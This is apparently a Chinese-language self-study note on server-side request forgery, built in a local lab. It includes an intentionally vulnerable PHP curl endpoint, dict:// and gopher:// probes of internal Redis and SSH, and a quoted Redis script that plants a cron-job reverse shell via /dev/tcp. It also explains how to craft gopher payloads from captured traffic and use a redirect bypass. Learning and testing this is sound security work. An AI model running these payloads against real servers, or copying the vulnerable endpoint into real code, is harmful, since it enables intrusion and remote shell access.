ssrf从入门到入门
准备
在hosts里面绑了个www.eval.com
mkdir了个ssrf文件夹放相关的的文件
比如index.php
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
尝试
dict获取redis信息
eval@linux: curl http://www.eval.com/ssrf/?url=dict://127.0.0.1:6379/info
# Server
redis_version:3.0.6
redis_git_sha1:00000000
redis_git_dirty:0
...
获取ssh信息
curl 'http://www.eval.com/ssrf/index.php?url=dict://127.0.0.1:22/info'
gopher回显数据
eval@attacker: curl -v 'http://www.eval.com/ssrf/index.php?url=gopher://127.0.0.1:2333/_Hello'
haibin@caiji: nc -l -vv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Hello
可以测试确认是不是能用gopher
dict
dict://ip:port/command:data1:data2 向服务器的端口请求command data1 data2
所以curl dict://127.0.0.1:6379/info
其实就相当于
haibin@pc: nc 127.0.0.1 6379
info
所以可以一步一步构造
gopher可以一键getshell
而dict要一步一步构造
看人家这个redis反弹shell
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
然后跑
bash shell.sh 127.0.0.1 6379
$1: 127.0.0.1
$2: 6379
gopher
curl gopher://ip:port/_payload
有个下划线咩
具体payload怎么写,要抓流量,相当于是重放攻击,就是把执行操作时候实际来往的流量抓下来(不知道这麽说对不对)
所以可用socat -v
(-v是显示详细信息,利用这个详细信息写payload咩)
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
然后利用gopher转换规则
- 如果第一个字符是
>
或者<
那么丢弃该行字符串,表示请求和返回的时间。 - 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
- 将\r字符串替换成%0d%0a
- 空白行替换为%0a
最后如果gophar://xxx:6379/_payload
要作为url参数的话就得要urlencode
一下的
这部分参考
http://joychou.org/index.php/web/phpssrf.html
很详细
常常看到的302.php
http://blog.feei.cn/ssrf/
这篇写的真的超级清楚
自己拿vps挂个302.php跳一下不是必须的
是在某种情况(限制了可用协议为http(s),但支持CURLOPT_FOLLOWLOCATION)下的周转措施
参考
http://www.91ri.org/17111.html (ssrf)
http://www.dict.org/rfc2229.txt (dict协议)
https://www.waitalone.cn/linux-shell-rebound-under-way.html (反弹shell方法)
http://blog.safebuff.com/2016/07/03/SSRF-Tips/ (没看懂)
http://joychou.org/index.php/web/phpssrf.html (ssrf 超级详细)
http://blog.feei.cn/ssrf/
https://blog.chaitin.cn/gopher-attack-surfaces/ (长亭)
http://blog.feei.cn/redis/ (redis to getshell) 超详细
http://www.freebuf.com/articles/web/20407.html